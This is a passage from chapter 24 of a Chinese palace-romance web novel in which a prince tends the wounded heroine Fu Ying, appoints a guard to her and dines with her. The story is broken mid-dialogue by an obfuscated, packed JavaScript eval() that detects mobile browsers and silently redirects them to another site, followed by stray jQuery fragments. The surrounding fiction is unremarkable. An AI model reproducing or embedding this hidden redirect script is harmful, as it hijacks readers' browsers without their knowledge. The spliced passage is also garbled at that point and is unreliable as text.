24.第 24 章
作品:《春雪扶楹》 “攀着本王。”
闻灼只淡然道出一句,肩臂向上发力。
扶楹感受到腿下那股强大的力量,心中一惊,双臂顺势向前环绕在他脖颈周围。
回过神来后,她已紧贴着闻灼,似乎坐在他健壮的小臂之上。
闻灼力气竟然如此之大,可以左手拄着手杖,单用右手抱起她,气息还没有丝毫紊乱。
扶楹接触到那宽阔的胸膛,鼻腔充斥着他衣上乌木的淡淡幽香,不免有些慌乱。
“王爷,再容我歇息片刻,我自己可以走……”
闻灼直截了当打断了她:“浪费时间。”
二人身高相差悬殊,当下扶楹有了为数不多俯视他的机会。
他美如天赐的俊朗脸庞近在眼前,肩背上结实的肌肉线条,像是一座坚不可摧的堡垒,彰显着男子成熟性感的力量。
扶楹内心萌生出一种异样之感,有些不自然地移开目光。
闻灼仰头瞧了她一眼。
她肤白似雪,眼尾与鼻尖因哭泣泛起红晕,仿佛点了胭脂,为容貌增添几分更加动人的神韵。
二人挨得这般近,甚至能感受到彼此的呼吸。
闻灼见她睫毛上下轻颤,眉头舒展,收回目光。
“先回芙蓉阁。”
扶楹默默点头,也觉得自己这满身血污实在登不得殿堂用餐。
一路上,闻灼单臂抱着她缓缓行走,身后跟着望舒、云川以及一群仆从。
抵达芙蓉阁后,碧落和清瑶在门前向二人俯身行礼:“王爷,二夫人。”
碧落见他二人举止亲密,不禁心中窃喜。
扶楹背后像与闻灼有深仇大恨,总是直呼其名,可实际与他有亲密接触也并不排斥。
“你们皆在门外候着。”
闻灼对在场所有仆从命令后,进入芙蓉阁,碧落和清瑶在外将门阖上。
四下无人,闻灼直接松开手杖,步伐也不再故作缓慢,抱着扶楹阔步上楼,来到床边。
他弯腰欲放下她,但她身子倾斜,没有掌握好平衡,直直向床上坠去。
闻灼被她胳膊紧搂着,猛然向前的力道令他有些措手不及,重心不稳,径直向前方倒下。
“唔——”
扶楹被他宽阔健硕的身躯完全压住,近乎承受不住他的重量。
一阵温热的呼吸扫过她的脸畔,那张冷冽俊美的面庞近在咫尺,清晰映在她的瞳孔中。
隔着胸膛,她能清晰感觉到,他的胸口处,一颗心脏正在有力地贲张。
扶楹就那么呆呆地看着他,似乎忘记了时间,内心逐渐迷失,对当下此景感到茫然。
蓦地,左脸有一阵痒意传来。
闻灼略带薄茧的手指轻轻拂过她细腻如玉的脸颊。
他的指尖似乎燃起了火苗,在所到之处的皮肤留下烧红的烫意。
扶楹警觉起来,睁大一双桃花眼,如受惊的小鹿一般盯着他。
“你……胆子越发大了。”
闻灼语气沉稳,充满高高在上的王者气息,似是怀着幽魂邪祟的眼睛死死盯着她。
“竟敢当着那么多下人的面,直呼乃至谩骂本王。”
原来,他是在算方才她犯下大不敬之罪的旧账。
“请王爷恕罪。”
扶楹谢罪道,但并不服气,牙齿轻咬着下唇,“可这并非妾身一人之过,王爷管教下属不善在先,难辞其咎。”
她鼻子有些堵塞,带着鼻音的声音仍旧悦耳,仿佛微风下摇摆的风铃。
“真是伶牙俐齿,”闻灼皱眉,指腹稍用力点了一下她的脸颊,随后直起身来,“看在你帮了大忙,本王原谅你此次失言,下不为例。”
身上那巨石般的力量消失,扶楹感到如释重负,从床上挣扎着坐起。
略带红润的脸颊上,一片发白的指印痕迹倏地消失不见。
此刻,她才发觉自己手心有撕裂般的刺痛传来,定睛一瞧,缠在手掌上的厚厚纱布正有鲜血不断浸透洇出。
闻灼似乎早已察觉,拎了张桌旁的木凳在她面前坐下,两条长腿分开弯置在她两侧,将那纤瘦的身躯圈在独属于他的领地。
“伤口要重新包扎,伸出手来。”
这种刀伤不能被第三个人瞧见,扶楹只得乖乖将手递向他。
闻灼俯身解开她手掌包缠的层层纱布,动作轻缓娴熟。
扶楹膝盖自然抵在他大腿内侧,衣袍的绸缎质地极为柔软,轻轻一顶便出了褶皱。
她似乎已习惯二人之间这些略显亲昵触碰,身子一动不动,可一副怅然若失的样貌令闻灼心有不悦。
“怎么,心中还是有愧?”
扶楹闭上眼睛点了点头。有些时候,即便她将心思尽力掩埋,可在他犀利的洞察下仍旧无所遁形。
“如王爷所言……”
她幽幽开口道:“我为谋取个人利益欺骗族人,难道要感到开心吗?”
“住口!”
闻灼目光变得如锋刃般冷冽,“本王再说最后一次,忘掉你北狄公主的身份。”
扶楹被他无情的话语惊到,欲张口争辩。
“你已是本王的夫人,饮下合卺酒后,休戚与共,本王的困境便是你的困境。”
他冷声警告道:“再找不出关于杀手组织的线索,刺杀便会源源不断。若本王哪日遭遇不测,在这偌大长安,还指望谁来庇佑你?”
一番话实在震耳欲聋,扶楹将未出口的辩解硬生生咽了下去。
半晌,待闻灼将她伤口上的血迹全部清理干净后,她才艰难压下心中汹涌的情绪。
“王爷多言,妾身明白。”
闻灼对她的明理识相感到满意,垂下眼帘为她上药。
扶楹又想起一事:“今早,我去向云裳姐姐请安。”
因不知他待萧云裳态度如何,故用了尊敬又亲切的称呼。
“她见我初来王府,不甚熟悉,贴心指了清瑶前来服侍我。”
“也好。”
闻灼头都未抬,展开一截纱布,轻覆在她手掌的伤口上。
“今后,你只需个把月向她请安一次,无需往来频繁。”
将萧云裳迎娶进门,纯粹是太后和淑妃一同向他施压的结果,任由萧云裳对他如何一往情深,他只对她避之不及。
将府中事务交由她管理,已是他为保留体面所做出最大限度的让步。萧云裳身份牵扯众多,他可不希望扶楹同她往来甚密。
“是。”
扶楹感到好奇,但意识到闻灼如此叮嘱必有其因,故未询问缘由。
闻灼将层层纱布细致地包裹住她的手掌,带有温度的指尖无意擦过她的手背。
“长安看似安定和谐,实则暗流涌动,往后由云川前来保护你的安全,他可听从你任意调遣。”
见闻灼竟将自己两名贴身侍卫分出一名保卫自己,扶楹一时陷在惊讶之中,难以反应过来。
她心中忽而有种强烈的踏实之感,大抵是云川长得同她的暗卫江越完全一致的缘故。
扶楹诚心颔首道谢:“多谢王爷。”
闻灼托着她的手瞧了一番,见包扎严实后收手起身,带走了方才笼罩下来的温度。
“将衣服换了,来正殿同本王用膳。”
扶楹摸了摸自己手背上包裹平整的纱布,看着他渐渐离去的背影,不禁有些出神。
碧落和清瑶入屋,心照不宣将扶楹满是血污的衣裙换下。
这一身血迹实在可怖,但她是被闻灼带回的,无人敢过问这其中究竟。
扶楹换了一身象牙色褶缎裙,将头上带有色彩的首饰尽数取下,只留一简约素雅的簪子绾住发髻。
芙蓉阁外,闻灼及其仆从皆已离去,唯有云川在门口伫立,见到扶楹出来,他单膝跪地,虔诚仰视着她。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152648|194236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日后,云川愿为夫人效力,肝脑涂地,在所不辞。”
扶楹对这似曾相识的场景若有所思。曾经,江越也是这般义正辞严,向她表露自己的衷心……
“起来吧。”
她顿了顿,思绪飞快回到云川身上,向他抬了下手。
有武艺高强的人守护在身侧,她感到很是安心。
正殿厅堂,紫檀木局脚桌上,摆着数种美味佳肴,璀璨的金银器皿熠熠生辉,奢华无比。
羊皮花丝,乳酿鱼,葱醋鸡……还有一些扶楹并不认识的中原菜品,色泽鲜艳,飘香四溢。
闻灼向南而坐,见扶楹前来落座,这才拿起筷子,开始布菜用餐。
他在皇宫出生长大,经过父母与司礼官耳濡目染,谆谆教诲,用膳很是循规蹈矩,细嚼慢咽。
可扶楹吃得比他更加小心细致,每次筷子夹下去,只捻一丁点食物,犹如小鸡啄食。
闻灼侧目瞥她一眼:“不想吃就尽快离开。”
扶楹撇了撇嘴,感到有些委屈:“王爷,并非我不想吃,而是吃不下……”
她的食量向来小到令人咋舌,不然身形也不会这么娇小纤瘦。
闻灼投去一个自便的眼神,不再理会。
扶楹目光落在远处的一盘樱桃毕罗上。
中原的菜并不很合她的胃口,唯有这樱桃毕罗,她先前在云州时尝过一次,瞬间被征服得五体投地。
她伸出筷子欲夹一只,但盘子距离有些远,只得悻悻放弃。
忽而,闻灼修长的手端起那盘子边沿放在她面前,似是无心之举。
扶楹被近在眼前的美食迷得垂涎欲滴,克制着想要风卷残云一口吞下的冲动,夹起一只毕罗送入口中。
粉皮绵软细腻,樱桃甜味悠长,长安的毕罗很是地道,要比北狄的不知美味多少倍。
她琥珀色的瞳仁都亮了起来,不禁连着吃了两三只。
闻灼眼角的余光将她的一举一动尽收眼底,心中不由得纳闷思忖。
原来扶楹喜欢吃樱桃毕罗。
放着上好的菜肴不吃,对随处可见的甜点却如获至宝,她还真是不同于寻常女子。
他们的第一次共进午膳,不声不响,惬意闲适,犹如细水长流。
用过膳后,闻灼并未放扶楹回去,而是带着她来到正殿后方的书房。
这里陈设着典雅的家具与水墨字画,木质格窗里摆满浩如烟海的藏书,香炉内轻烟升起,淡淡的沉香弥漫,宁静雅致。
“楹儿,”闻灼递给她一支紫毫毛笔,“将你上午的收获,分毫不差地记下来。”
扶楹明白他是指有关那女刺客的线索,点头接过毛笔。
她左手受伤无法研墨,又不能让闻灼纡尊降贵,故喊了碧落前来侍奉笔墨。
碧落在案旁跪下,将清水滴入砚面,执墨锭在砚池反复推拉研磨。扶楹拿笔蘸了些墨后,在宣纸上不断书写,二人配合丝滑,天衣无缝。
闻灼坐于屏风前的榻上,静默细阅一卷边塞诗集。
不出一盏茶工夫,扶楹便将所得讯息全部记录下来。
她将纸呈给闻灼,“王爷请看。”
闻灼接过纸来,一眼扫过,眉目间的冷冽有了些许缓和。
“甚好,”他抬眼看向扶楹,语气带了些许自己未曾意识到的轻柔,“去午睡吧。”
扶楹见过闻灼很多副面孔。
他在狂怒时狠辣阴鸷,傲然不羁,在冷漠时凉薄无情,麻木不仁。
最令她动容的,是他现在平和释然的样子,温润含光,一身洁净若秋水长天。
扶楹眸色微凝,向他俯身行礼后,带着碧落离开了。
闻灼目光再度回到那张纸上。
扶楹的簪花小楷字迹实在灵动清秀,一如她本人恬淡沉静。
他指腹轻轻摩挲过那几行字,陡然间眉峰一竖,眼中露出些许诧异的光芒。

